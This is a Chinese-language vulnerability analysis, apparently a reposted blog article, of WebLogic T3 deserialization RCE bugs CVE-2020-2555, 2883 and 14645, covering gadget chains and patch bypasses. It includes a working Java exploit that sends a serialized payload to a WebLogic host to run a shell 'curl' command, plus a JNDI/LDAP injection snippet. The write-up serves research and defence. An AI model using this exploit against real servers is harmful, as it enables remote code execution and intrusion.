Weblogic12c T3 协议安全漏洞分析【CVE-2020-14645 CVE-2020-2883 CVE-2020-14645】
給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
給個(gè)關(guān)注?寶兒!
關(guān)注公眾號(hào):b1gpig信息安全,文章推送不錯(cuò)過(guò)
## 前言
WebLogic是美國(guó)Oracle公司出品的一個(gè)application server,確切的說(shuō)是一個(gè)基于JAVAEE架構(gòu)的中間件。 主要用于開(kāi)發(fā)、集成、部署和管理大型分布式Web應(yīng)用、網(wǎng)絡(luò)應(yīng)用和數(shù)據(jù)庫(kù)應(yīng)用的Java應(yīng)用服務(wù)器。 近幾年頻繁爆發(fā)出多個(gè)RCE漏洞,而在今年,其T3協(xié)議被頻繁攻擊和發(fā)布補(bǔ)丁與繞過(guò),本文主要對(duì)今年來(lái)由T3協(xié)議入口所產(chǎn)生的多個(gè)RCE漏洞進(jìn)行分析,其中主要包括CVE-2020-2555、 CVE-2020-2883(bypass CVE-2020-2555補(bǔ)丁)、 CVE-2020-14645 (bypass CVE-2020-2883補(bǔ)丁)。
環(huán)境搭建
兩種搭建環(huán)境,第一種是利用docker搭建環(huán)境,利用IDEA動(dòng)態(tài)調(diào)試,可參考[1],本文調(diào)試建議使用Weblogic Server版本12.2.1.4.0,對(duì)于該版本的docker文件在https://hub.docker.com/_/oracle-weblogic-server-12c?tab=reviews。
第二種是在官方下載安裝包[2],并安裝安裝指引進(jìn)行安裝[3]。
我們采用第二種進(jìn)行。在Oracle官網(wǎng)下載后進(jìn)行安裝。
安裝完后導(dǎo)入IDEA再進(jìn)行配置即可。
漏洞版本
CVE-2020-2555 && CVE-2020-2883(bypass CVE-2020-2555補(bǔ)丁)
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
CVE-2020-14645 (bypass CVE-2020-2883補(bǔ)丁)
12.2.1.4.0**
漏洞成因
簡(jiǎn)單理解該漏洞成因便是Weblogic 默認(rèn)開(kāi)啟 T3 協(xié)議,攻擊者可利用T3協(xié)議進(jìn)行反序列化漏洞實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。
基于代碼的漏洞介紹:CVE-2020-2555主要源于在coherence.jar存在著用于gadget構(gòu)造的類(lèi)(反序列化構(gòu)造類(lèi)),并且利用weblogic默認(rèn)存在的T3協(xié)議進(jìn)行傳輸和解析進(jìn)而導(dǎo)致weblogic服務(wù)器反序列化惡意代碼最后執(zhí)行攻擊語(yǔ)句。
T3協(xié)議
WebLogic Server 中的 RMI 通信使用 T3 協(xié)議在 WebLogic Server 和其他 Java 程序(包括客戶(hù)端及其他 WebLogic Server 實(shí)例)間傳輸數(shù)據(jù)。
同時(shí)T3協(xié)議包括
1.請(qǐng)求包頭 2. 請(qǐng)求主體
因此,在T3數(shù)據(jù)包構(gòu)造過(guò)程中,需要發(fā)送兩部分的數(shù)據(jù)
- List item
請(qǐng)求包頭,形如
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://localhost:7001 LP:DOMAIN 1以\n結(jié)束
- 同時(shí),我們發(fā)送t3的請(qǐng)求包,可用于刺探服務(wù)器weblogic版本,該服務(wù)器會(huì)將自身版本進(jìn)行響應(yīng),形如
- 序列化數(shù)據(jù)部分,序列化部分的構(gòu)成方式有兩種:
第一種生成方式為,將weblogic發(fā)送的JAVA序列化數(shù)據(jù)的第二到九部分的JAVA序列化數(shù)據(jù)的任意一個(gè)替換為惡意的序列化數(shù)據(jù)。
第二種生成方式為,將weblogic發(fā)送的JAVA序列化數(shù)據(jù)的第一部分與惡意的序列化數(shù)據(jù)進(jìn)行拼接。
具體T3的數(shù)據(jù)結(jié)構(gòu)可參考http://drops.xmd5.com/static/drops/web-13470.html,這里我們不關(guān)注T3具體數(shù)據(jù)結(jié)構(gòu),而是將重心放在T3的反序列化漏洞上。
- 綜上,為實(shí)現(xiàn)T3協(xié)議的JAVA序列化包,需要在T3數(shù)據(jù)結(jié)構(gòu)頭部發(fā)送后在其中插入序列化惡意數(shù)據(jù),該惡意數(shù)據(jù)與JAVA的原生ObjectOutputStream數(shù)據(jù)類(lèi)型是一樣的,然后發(fā)送T3數(shù)據(jù)結(jié)構(gòu)尾部。
CVE-2020-2555
由于CVE-2020-2883是對(duì)2555補(bǔ)丁的繞過(guò),我們先看看原來(lái)的CVE-2020-2555利用鏈。
BadAttributeValueExpException.readObject() com.tangosol.util.filter.LimitFilter.toString() //CVE-2020-2555出現(xiàn)時(shí) 對(duì)此進(jìn)行了修補(bǔ) com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() //... com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() Runtime.exec()我們使用12.2.1.4.0對(duì)此進(jìn)行調(diào)試。
根據(jù)已知的一些漏洞信息
漏洞的產(chǎn)生點(diǎn)是 coherence.jar 包中的 LimitFilter 函數(shù),我們將相關(guān)漏洞包c(diǎn)oherence.jar和tangsol.jar 添加到庫(kù)函數(shù)并反編譯add as library
在server\lib\console-ext\autodeploy\tangosol.jar!\com\tangosol\util\filter\LimitFilter.class#toString下一些斷點(diǎn),調(diào)試并發(fā)送POC。
根據(jù)堆棧信息,Weblogic收到POC的數(shù)據(jù)后,對(duì)其進(jìn)行分發(fā)后對(duì)T3的數(shù)據(jù)段部分進(jìn)行了反序列化還原操作,進(jìn)而產(chǎn)生了該漏洞的入口。
利用 BadAttributeValueExpException類(lèi)實(shí)例可以用來(lái)調(diào)用任意類(lèi)的**toString()**方法 ,這里可能有小伙伴會(huì)好奇,為什么這個(gè)類(lèi)的實(shí)例能調(diào)用在任意類(lèi)的toString()方法?原因如下:
利用 java.io.ObjectInputStream反序列化一個(gè)類(lèi)時(shí)會(huì)默認(rèn)調(diào)用該類(lèi)的readObject方法。
javax.management.BadAttributeValueExpException#readObject方法會(huì)對(duì)傳入的ObjectInputStream實(shí)例提取其val屬性的值(這也是為什么我們要將惡意對(duì)象注入到val屬性)。
然后將該值進(jìn)行判斷(valObj受到我們的控制,就是我們注入val屬性的對(duì)象),我們需要進(jìn)入的是val = valObj.toString();進(jìn)而調(diào)用控制的valObj對(duì)象的toString方法:
這里的System.getSecurityManager需要為null才會(huì)進(jìn)入toString邏輯。
因此我們可以操控valObj成為任意對(duì)象并對(duì)讓其使用toString方法,這里我們選擇的惡意宿主是LimitFilter類(lèi),原因如下:
了解到LimitFilter類(lèi)會(huì)被我們操作執(zhí)行toString方法,其toString方法存在如下操作
注意到在LimitFilter.class#toString方法中, 獲取到該類(lèi)的m_comparator成員屬性后,轉(zhuǎn)換為(ValueExtractor)對(duì)象并調(diào)用自身extract方法 :
這里可能會(huì)有疑問(wèn),如何去控制m_comparator成員屬性呢?因?yàn)檫@個(gè)類(lèi)其實(shí)就是我們自己寫(xiě)的惡意類(lèi),當(dāng)然可以控制其成員屬性了。
到這里,我們就可以控制我們構(gòu)造的惡意類(lèi)里面m_comparator成員的extract方法了,而m_comparator成員可控。因此我們可以控制任意類(lèi)的extract方法了。而后我們選取的利用類(lèi)是com.tangosol.util.extractor.ChainedExtractor#extract,因?yàn)樗膃xtract方法是這樣的,該方法會(huì)將this.getExtractors返回的數(shù)組依次調(diào)extract并返回給oTarget:
this.getExtractors方法繼承自AbstractCompositeExtractor,返回成員屬性this.m_aExtractor
而這個(gè)this.m_aExtractor則來(lái)自原始方法AbstractCompositeExtractor(),即是初始化該示例的時(shí)候傳入的:
那么可以理解為,com.tangosol.util.extractor.ChainedExtractor類(lèi)會(huì)依次對(duì) 初始化實(shí)例時(shí)調(diào)用傳入的ValueExtractor[]類(lèi)型的列表 調(diào)用extract方法。
至此我們便有了調(diào)用多個(gè)對(duì)象extract的能力。
又是一個(gè)疑問(wèn),這里都是調(diào)用extract方法,怎么才能從extract到Runtime.getRuntime.exec() ****的調(diào)用呢?答案是反射。如果我們可以找到一個(gè)類(lèi),該類(lèi)的extract方法可控并且傳入?yún)?shù)會(huì)被順序進(jìn)行反射,那么就可以通過(guò)控制extract和傳入?yún)?shù)進(jìn)行RCE了。這個(gè)類(lèi)是com.tangosol.util.extractor.ReflectionExtractor#extract
**反射的形式這里不細(xì)講了,有興趣的可以參考[4]
這里需要形成需要被調(diào)用的方法.invoke(被調(diào)用類(lèi)class, 執(zhí)行的代碼)。
諸如
然后利用com.tangosol.util.extractor.ReflectionExtractor#extract進(jìn)行傳入構(gòu)造再invoke。
綜上,我們構(gòu)造如下代碼片段。
POC邏輯
1.組裝ReflectionExtractor成為列表賦值給valueExtractors(ReflectionExtractor有反射的extract函數(shù))。
2.然后通過(guò)放入ChainedExtractor(列表依次extract) (ChainedExtractor有列表extract函數(shù))。
3.然后通過(guò)放入limitFilter(limitFilter可讓ChainedExtractor使用extract)。
4.然后通過(guò)放入BadAttributeValueExpException(令limitFilter使用toString)。
于是構(gòu)成了該利用鏈。
最后序列化數(shù)據(jù)源代碼大致如下:
CVE-2020-2555補(bǔ)丁
本地補(bǔ)丁檢測(cè)方式:
cd %Oracle_Home%/Middleware/wlserver/server/lib java -cp weblogic.jar weblogic.version
可以看到,Oracle官方在一月發(fā)布了CVE-2020-2555的補(bǔ)丁[5]。
該補(bǔ)丁需要用戶(hù)持有正版軟件的許可賬號(hào),使用該賬號(hào)登陸官方網(wǎng)站方可下載。
該補(bǔ)丁阻斷了LimitFilter傳入的對(duì)象使用extract方法.
CVE-2020-2883
后續(xù) VNPT ISC的研究員Quynh Le向ZDI提交了一個(gè)漏洞][6]
該補(bǔ)丁阻斷了LimitFilter,也就是阻斷了從readObject —> toString ----> extract的路徑
然而該研究員找到了另一個(gè)路徑去連接readObject ----> extract
java.util.PriorityQueue.readObject
Oracle WebLogic 最新補(bǔ)丁的繞過(guò)漏洞分析(CVE-2020-2883)
https://github.com/Y4er/CVE-2020-2883
java.util.PriorityQueue.readObject() java.util.PriorityQueue.heapify() java.util.PriorityQueue.siftDown() java.util.PriorityQueue.siftDownUsingComparator() com.tangosol.util.extractor.ExtractorComparator.compare() com.tangosol.util.extractor.ChainedExtractor.extract() //... Method.invoke() //... Runtime.exec()java.util.PriorityQueue#readObject會(huì)調(diào)用heapify函數(shù),如下圖,具體利用時(shí)使用雙參構(gòu)造方法,我們看看文檔的描述。
使用指定的初始容量創(chuàng)建一個(gè) PriorityQueue,并根據(jù)指定的比較器對(duì)元素進(jìn)行排序。
這里我們指定的比較器是 ExtractorComparator ,初始容量為2
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
顯而易見(jiàn),這里我們調(diào)用的ExtractorComparator這個(gè)比較器compare函數(shù)存在著extract方法。
o1和o2的值:
讓m_extractor對(duì)象使用extract方法。這里操控m_extractor的方法就是反射(具體前面有)。
于是乎,和前面一樣的,這個(gè)m_extractor對(duì)象被修改為數(shù)組以達(dá)到多個(gè)對(duì)象調(diào)用extract方法。然后就進(jìn)入到com.tangosol.util.extractor.ChainedExtractor。
至此,完成了從readObject —> compare ----> extract的連接。后續(xù)調(diào)用就和CVE-2020-2555相同了。
調(diào)用鏈:
POC可以參考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
CVE-2020-2883補(bǔ)丁
Oracle官方對(duì)于CVE-2020-2883的補(bǔ)丁[7]將 extract 方法存在危險(xiǎn)操作的 MvelExtractor 和 ReflectionExtractor 兩個(gè)類(lèi)加入到了黑名單中(ReflectionExtractor與MvelExtractor 有反射的extract函數(shù))。
java.util.PriorityQueue.readObject() java.util.PriorityQueue.heapify() java.util.PriorityQueue.siftDown() java.util.PriorityQueue.siftDownUsingComparator() com.tangosol.util.extractor.AbstractExtractor.compare() com.tangosol.util.extractor.MultiExtractor.extract() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract()//patch of 2020-2883 Method.invoke() //... Method.invoke() //... Runtime.exec()CVE-2020-14645
ReflectionExtractor與MvelExtractor 被加入了黑名單,如果我們能找到一個(gè)類(lèi)(類(lèi)的extract函數(shù)中有可控的反射操作),便可繼續(xù)該鏈條(這里我們有的是readObject —> compare ----> extract —> 多個(gè)類(lèi)的extract --> extract中可控反射)。
可采用這個(gè)類(lèi)com.tangosol.util.extractor.UniversalExtractor#extract。
遺憾的是其被transient修飾,被transient關(guān)鍵字修飾的變量不再能被序列化。
但是此處在75行對(duì)oTarget傳入了extractComplex方法。
又見(jiàn)希望,該方法中也存在可控反射。
值得注意的是,兩條method獲取方法只能從第一個(gè)if去取,原因是else中需要確保fProperty==false, 然而184行中m_fMethod存在transient修飾,被transient關(guān)鍵字修飾的變量不再能被序列化因此無(wú)法構(gòu)建序列化字節(jié)流。
而在if條件中收到參數(shù)影響有sBeanAttribute–> sCName—>this.getCanonicalName(),這里做的工作就是187行對(duì)sCName首字母大寫(xiě)并將其與BEAN_ACCESSOR_PREFIXES列表的值進(jìn)行拼接,取到則停止返回method。
那么BEAN_ACCESSOR_PREFIXES列表是什么樣的呢?其存儲(chǔ)了get和is兩個(gè)字符串。因此,在拼接的時(shí)候,只能形成get___或者is___這樣的方法調(diào)用。
于是可以利用 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()方法進(jìn)行反射調(diào)用構(gòu)建JNDI注入,這也是為什么之前都是利用原有的ReflectionExtractor直接反射到Runtime類(lèi)執(zhí)行而這里卻只能發(fā)起JNDI請(qǐng)求在低版本的JDk來(lái)執(zhí)行代碼。
POC邏輯
在POC構(gòu)造上,先初始化JDBC對(duì)象,設(shè)置this.m_sName參數(shù)為getDatabaseMetaData()
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();rowSet.setDataSourceName("ldap://127.0.0.1:1389/#Calc"); UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
然后是關(guān)鍵點(diǎn)的sName會(huì)被去掉前綴,因此后面要進(jìn)行拼接。
依舊讓queue使用ExtractorComparator這個(gè)比較器。
對(duì)該queue實(shí)例設(shè)置成員變量(反射)。此處讓該實(shí)例queue擁有兩個(gè)成員變量,一個(gè)是queue,值為new Object[]{rowSet, rowSet},一個(gè)是size,值為2。這里用了寫(xiě)的Reflections工具類(lèi),當(dāng)然也可以一點(diǎn)點(diǎn)用反射進(jìn)行設(shè)置。
Reflections.setFieldValue(queue, "queue", new Object[]{rowSet, rowSet}); Reflections.setFieldValue(queue, "size", 2);POC參考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
package com.supeream;// com.supeream from https://github.com/5up3rc/weblogic_cmd/ // com.tangosol.util.extractor.ChainedExtractor from coherence.jarimport com.supeream.serial.Reflections; import com.supeream.serial.Serializables; import com.supeream.weblogic.T3ProtocolOperation; import com.tangosol.util.ValueExtractor; import com.tangosol.util.comparator.ExtractorComparator; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor;import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;/** author:Y4er.com** readObject:797, PriorityQueue (java.util)* heapify:737, PriorityQueue (java.util)* siftDown:688, PriorityQueue (java.util)* siftDownUsingComparator:722, PriorityQueue (java.util)* compare:71, ExtractorComparator (com.tangosol.util.comparator)* extract:81, ChainedExtractor (com.tangosol.util.extractor)* extract:109, ReflectionExtractor (com.tangosol.util.extractor)* invoke:498, Method (java.lang.reflect)*/public class CVE_2020_2883 {public static void main(String[] args) throws Exception {ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}});ValueExtractor[] valueExtractors = new ValueExtractor[]{reflectionExtractor1,reflectionExtractor2,reflectionExtractor3,};Class clazz = ChainedExtractor.class.getSuperclass();Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");m_aExtractor.setAccessible(true);ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});ValueExtractor[] valueExtractors1 = new ValueExtractor[]{reflectionExtractor};ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));queue.add("1");queue.add("1");m_aExtractor.set(chainedExtractor1, valueExtractors);Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");queueArray[0] = Runtime.class;queueArray[1] = "1";// serializebyte[] payload = Serializables.serialize(queue);// T3 send, you can also use python weblogic_t3.py test.serT3ProtocolOperation.send("172.16.1.130", "7001", payload);// testserialize(queueArray); // deserialize();}public static void serialize(Object obj) {try {ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));os.writeObject(obj);os.close();} catch (Exception e) {e.printStackTrace();}}public static void deserialize() {try {ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));is.readObject();} catch (Exception e) {e.printStackTrace();}} }收到的LDAP請(qǐng)求:
該CVE漏洞利用服務(wù)器有JDK條件,且只能在Weblogic Server 12.2.1.4.*存在。
LDAP: < JDK6u201/7u191/8u182/11.0.1 RMI: < JDK6u141/7u131/8u121
參考文章[1]利用docker遠(yuǎn)程動(dòng)態(tài)調(diào)試weblogic
https://blog.csdn.net/sojrs_sec/article/details/103237150
[2]官方下載
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
[3]官方安裝指引
https://docs.oracle.com/en/middleware/fusion-middleware/12.2.1.4/wlsig/installing-oracle-weblogic-server-and-coherence-software.html#GUID-5C7D4437-46A2-45A2-85F3-738B0DFE9AE2
[4] JAVA 反射
https://www.jianshu.com/p/9be58ee20dee
[5]patch for CVE-2020-2555
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2555
[6]Quynh Le向ZDI提交漏洞
https://www.zerodayinitiative.com/advisories/ZDI-20-570/
[7]patch for CVE-2020-2883
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2883
https://www.oracle.com/security-alerts/cpuapr2020.html
本文參考:https://paper.seebug.org/1321/
404yyds!!!
看完點(diǎn)贊關(guān)注不迷路!!! 后續(xù)繼續(xù)更新優(yōu)質(zhì)安全內(nèi)容!!!
總結(jié)
以上是生活随笔為你收集整理的Weblogic12c T3 协议安全漏洞分析【CVE-2020-14645 CVE-2020-2883 CVE-2020-14645】的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 汽车排放国四国一?
- 下一篇: 熔断器熔断时间标准_一种熔断器熔断时间测